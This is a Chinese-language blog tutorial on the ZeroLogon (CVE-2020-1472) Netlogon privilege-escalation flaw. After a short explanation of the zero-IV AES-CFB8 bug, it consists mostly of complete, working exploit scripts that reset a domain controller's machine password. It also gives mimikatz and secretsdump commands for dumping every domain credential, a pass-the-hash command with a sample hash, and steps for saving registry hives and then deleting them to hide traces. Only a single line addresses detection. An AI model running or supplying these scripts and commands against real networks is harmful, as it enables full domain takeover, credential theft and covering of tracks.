
域渗透-CVE-2020-1472NetLogon权限提升
本文提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;
本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除
本文参考谢公子域渗透攻防指南
一、漏洞简介
CVE-2020-1472,也被称为ZeroLogon,是一个严重的Windows域控远程权限提升漏洞。
攻击者仅需访问到域控制器的135端口即可通过Netlogon远程协议连接至域控制器,并重置域控制器机器账号的哈希。
利用该漏洞,攻击者可以获取域管理员权限并导出域内所有用户的凭证(用户Hash),从而完全接管整个域。
域控的机器账号默认具有Dcsync权限,可以使用Dcsync导出域内哈希,前提是域控要开启445端口
二、漏洞原理
Netlogon协议
简介
Netlogon协议用于维护Windows域网络中的身份验证和通信。
它通常通过MS-NRPC(Microsoft Netlogon Remote Protocol)实现,这是一个基于RPC(Remote Procedure Call)的接口,主要用于计算机之间的认证。
在进行正式通信之前,客户端和服务端之间需要进行身份认证并协商出一个
Session Key
,用于保护双方后续的RPC通信流量。
认证流程(6个阶段)
客户端发起挑战:客户端通过调用
NetrServerReqChallenge
函数发送一个8字节的随机Client Challenge
给服务端,启动身份验证过程。服务端回应挑战:服务端接收Client Challenge后,也通过调用
NetrServerReqChallenge
函数生成并返回一个8字节Server Challenge给客户端。计算会话密钥:此时客户端和服务端均收到了来自对方的Challenge,双方使用共享的密钥secret(通常是客户端机器账户的哈希值)及Client Challenge和Server Challenge,通过KDF计算出共同的Session Key(此时,客户端和服务端均拥有了相同的
Client Challenge、Server Challenge、Session Key
)。客户端生成并发送凭证:客户端利用Session Key加密Client Challenge生成Client Credential,并发送至服务端。服务端使用相同Session Key加密Client Challenge生成Client Credential,然后和客户端发来的进行比对,若一致,则确认匹配且验证成功。
服务端生成并发送凭证:服务端用Session Key加密Server Challenge生成Server Credential,并发送给客户端。客户端同样使用Session Key加密Server Challenge生成Server Credential,然后和服务端发来的进行比对,若一致,则验证服务端持有正确Session Key。
完成双向认证:此时,客户端和服务端已相互验证身份且拥有相同的Session Key,可使用此密钥加密后续的所有RPC通信,确保数据安全传输。
拓展
Session Key如何加密生成
加密生成算法有3种,分别是:AES、Strong-key、DES。选择那种算法由客户端和服务端协商决定。
目前大部分都是选择AES算法,因为多数版本的Windows Server默认拒绝Strong-key和DES
Credential如何加密生成
加密生成算法有2种,分别是:AES、DES。。选择那种算法由客户端和服务端协商决定。
目前大部分都是选择AES算法,因为多数版本的Windows Server默认拒绝DES
客户端和服务端协商使用AES加密后,采用AES-128加密算法在AES-CFB8模式下(8位CFB)计算得到Credential
漏洞原理分析
在Netlogon协议的身份认证过程中,AES-CFB8加密算法,这个漏洞的核心问题就出在认证过程中错误使用了AES-CFB8加密算法
在正常情况下,AES-CFB8加密算法依赖于一个随机的初始化向量(IV)来确保即使是相同的明文也会生成不同的密文。然而,在CVE-2020-1472漏洞中,微软的
ComputeNetlogonCredential
函数错误地将IV设置为全零(16个字节都是0),这就导致了以下情况:
客户端发起挑战时,客户端会发送一个8字节的Client Challenge,正常情况下,这个值应该是随机的。
服务器接收到Client Challenge后,会使用一个随机的IV和Session Key对其进行加密处理,但是由于该漏洞的存在,IV被错误地设为了全0。
因为IV是固定的全0,所以对于某些特定的输入(比如全零的Client Challenge),经过AES-CFB8加密后的结果有1/256的概率也是全0。
由于以上情况,攻击者可以故意发送全0的Client Challenge,并不断重复这个过程。平均来说,每尝试256次,就会有一次得到全0的加密结果。如果加密结果是全0,服务器会误认为这是一个有效的认证请求,从而允许攻击者无需知道正确的凭据即可通过认证。一旦通过了认证,攻击者就可以利用其他Netlogon协议的功能,例如更改域控制器上的密码,进而获得对整个域的控制权。
总的来说就是,IV应该是随机的,以保证即使相同的明文也会产生不同的密文。但在这里,固定不变的IV使得攻击者可以通过简单的暴力方法找到能够欺骗服务器接受其请求的输入。由于Netlogon协议没有限制认证尝试次数,这就给了攻击者足够的时间和机会来完成他们的攻击。
三、漏洞复现
判断域控是否存在该漏洞
方式1:通过Python脚本判断(可以打包成exe执行)
代码
#!/usr/bin/env python3
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
def perform_attack(dc_handle, dc_ip, target_computer):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if not rpc_con:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)
if __name__ == '__main__':
if not (3 <= len(sys.argv) <= 4):
print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip] = sys.argv
dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name)
使用方法,如图的提示说明存在该漏洞
python zerologon_tester.py DC主机名 DCip
python zerologon_tester.py AD-server2016 10.10.1.228
方式2:通过mimikatz判断
用法
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:10.10.1.228 /account:AD-server2016$" "exit"
重置域控机器哈希
方式1:通过脚本cve-2020-1472-exploit.py重置
代码
#!/usr/bin/env python3
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
def exploit(dc_handle, rpc_con, target_computer):
request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = dc_handle + '\x00'
request['AccountName'] = target_computer + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0
request['Authenticator'] = authenticator
request['ComputerName'] = target_computer + '\x00'
request['ClearNewPassword'] = b'\x00' * 516
return rpc_con.request(request)
def perform_attack(dc_handle, dc_ip, target_computer):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if rpc_con == None:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nTarget vulnerable, changing account password to empty string')
result = exploit(dc_handle, rpc_con, target_computer)
print('\nResult: ', end='')
print(result['ErrorCode'])
if result['ErrorCode'] == 0:
print('\nExploit complete!')
else:
print('Non-zero return code, something went wrong?')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)
if __name__ == '__main__':
if not (3 <= len(sys.argv) <= 4):
print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Resets the DC account password to an empty string when vulnerable.')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip] = sys.argv
dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name)
用法
python cve-2020-1472-exploit.py DC主机名 DCip
python cve-2020-1472-exploit.py AD-server2016 10.10.1.228
方式2:mimikatz
执行mimikatz的机器在域内
//如果当前主机在域环境中的话,target参数可以直接使用域控主机名.域名
mimikatz.exe "lsadump::zerologon /target:AD-server2016.lazy.com /ntlm /null /account:AD-server2016$ /exploit" "exit"
执行mimikatz的机器不在域内
//如果当前主机不在域环境中,target参数就需要指定域控的ip
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:10.10.1.228 /ntlm /null /account:AD-server2016$ /exploit" "exit"
导出域内所有用户的凭证(Hash)
使用impacket工具包
//注意: -no-pass前面有4个空格
python secretsdump.py 域名/域控机器名$@域控ip -no-pass
secretsdump.exe lazy.com/[email protected] -no-pass
此时即可拿到域管Hash,然后通过wmi进行Hash传递
wmiexec.exe -hashes :80d51c5ba46d91d55b9a6008417637a5 lazy.com/[email protected]
恢复密码
攻击完成后会将域控机器账号的Hash置空,此时域控的机器账号在活动目录中的密码和域控本地注册表以及lsass进程中的密码不一样,就会导致域控重启后无法开机、甚至出现脱域的情况
所以要恢复域控机器账号的密码,让域控在活动目录中的密码和在域控本地注册表以及lsass进程中的密码一致。
可以通过提取注册表文件和NTLM Hash值恢复域控密码
恢复方式1:导出注册表文件
提取域控上的注册表文件
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
利用impacket工具包自带的命令工具(get)将提取的文件下载下来
//下载
get system.save
get sam.save
get security.save
//删除痕迹,将刚刚提取的文件从域控上删掉
del /f system.save
del /f sam.save
del /f security.save
使用impacket工具寻找域控机器账号的哈希
执行后找到
$MACHINE.ACC
的值,只需要后半部分的值
secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL
通过restorepassword.py脚本结合刚刚找到的hash恢复密码
代码
#!/usr/bin/env python3
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
from impacket.dcerpc.v5.ndr import NDRCALL
import impacket
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
from Cryptodome.Cipher import DES, AES, ARC4
from struct import pack, unpack
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
class NetrServerPasswordSet(nrpc.NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',nrpc.WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',nrpc.WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
structure = (
('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode',nrpc.NTSTATUS),
)
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
plaintext = b'\x00'*8
ciphertext = b'\x00'*8
flags = 0x212fffff
# Send challenge and authentication request.
serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
serverChallenge = serverChallengeResp['ServerChallenge']
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
print()
server_auth.dump()
print("server challenge", serverChallenge)
sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
print("session key", sessionKey)
try:
IV=b'\x00'*16
#Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
#serverCred = Crypt1.encrypt(serverChallenge)
#print("server cred", serverCred)
#clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
#clientCred = clientCrypt.encrypt(b'\x00'*8)
#print("client cred", clientCred)
#timestamp_var = 10
#clientStoredCred = pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
#print("client stored cred", clientStoredCred)
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
#authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
#authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
#print("authenticator cred", authenticatorCred)
authenticator['Credential'] = ciphertext #authenticatorCred
authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var
#request = nrpc.NetrLogonGetCapabilities()
#request['ServerName'] = '\x00'*20
#request['ComputerName'] = target_computer + '\x00'
#request['Authenticator'] = authenticator
#request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
#request['ReturnAuthenticator']['Timestamp'] = 0
#request['QueryLevel'] = 1
#resp = rpc_con.request(request)
#resp.dump()
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = target_computer + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = target_computer + '\x00'
request["Authenticator"] = authenticator
#request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
#request['ReturnAuthenticator']['Timestamp'] = 0
pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw), sessionKey)
request["UasNewPassword"] = pwdata
resp = rpc_con.request(request)
resp.dump()
#request['PrimaryName'] = NULL
#request['ComputerName'] = target_computer + '\x00'
#request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
#request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
#resp = rpc_con.request(request)
#resp.dump()
except Exception as e:
print(e)
return rpc_con
except nrpc.DCERPCSessionError as ex:
#print(ex)
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
def perform_attack(dc_handle, dc_ip, target_computer, originalpw):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw)
if rpc_con == None:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! DC machine account should be restored to it\'s original value. You might want to secretsdump again to check.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)
if __name__ == '__main__':
if not (4 <= len(sys.argv) <= 5):
print('Usage: reinstall_original_pw.py <dc-name> <dc-ip> <hexlified original nthash>\n')
print('Reinstalls a particular machine hash for the machine account on the target DC. Assumes the machine password has previously been reset to the empty string')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip, originalpw] = sys.argv
dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name, originalpw)
用法
python reinstall_original_pw.py AD-server2016 10.10.1.228 938153924a529edd8001908762f26a65
恢复方式2:mimikatz
从lsass进程里抓取系统所有用户的Hash,然后找到域控机器账号的原始哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
结合找到hash,通过python脚本恢复密码
四、拓展:蓝队监测注意事项
该攻击成功后,在域控的事件查看器上会生成一个4742的安全日志